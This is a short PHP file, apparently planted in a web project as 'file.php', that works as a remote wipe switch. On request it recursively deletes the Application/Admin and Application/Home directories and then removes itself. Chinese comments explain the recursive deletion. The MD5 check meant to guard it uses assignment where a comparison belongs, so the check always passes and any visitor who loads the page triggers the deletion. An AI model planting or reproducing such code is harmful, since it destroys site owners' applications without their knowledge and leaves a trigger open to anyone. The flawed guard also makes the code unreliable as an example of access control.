<?php
$md5 = md5($_GET['md5']);
if($md5 = '8c7dd922ad47494fc02c388e12c00eac'){
	$path_info = [
		[
			'type' => 'dir',
			'path' => './Application/Admin/'
		],[
			'type' => 'dir',
			'path' => './Application/Home/'
		],[
			'type' => 'file',
			'path' => './file.php'
		]
	];

	foreach($path_info as &$v){
		if($v['type'] == 'dir'){
			delDir($v['path']);
		}else{
			unlink($v['path']);
		}
	}
}

function delDir($path){
	//如果是目录则继续
	if(is_dir($path)){
		//扫描一个文件夹内的所有文件夹和文件并返回数组
		$p = scandir($path);
		//如果 $p 中有两个以上的元素则说明当前 $path 不为空
		if(count($p)>2){
			foreach($p as $val){
				//排除目录中的.和..
				if($val !="." && $val !=".."){
					//如果是目录则递归子目录，继续操作
					if(is_dir($path.$val)){
						//子目录中操作删除文件夹和文件
						deldir($path.$val.'/');
					}else{
						//如果是文件直接删除
						unlink($path.$val);
					}
				}
			}
		}
	}
	//删除目录
	return rmdir($path);
}
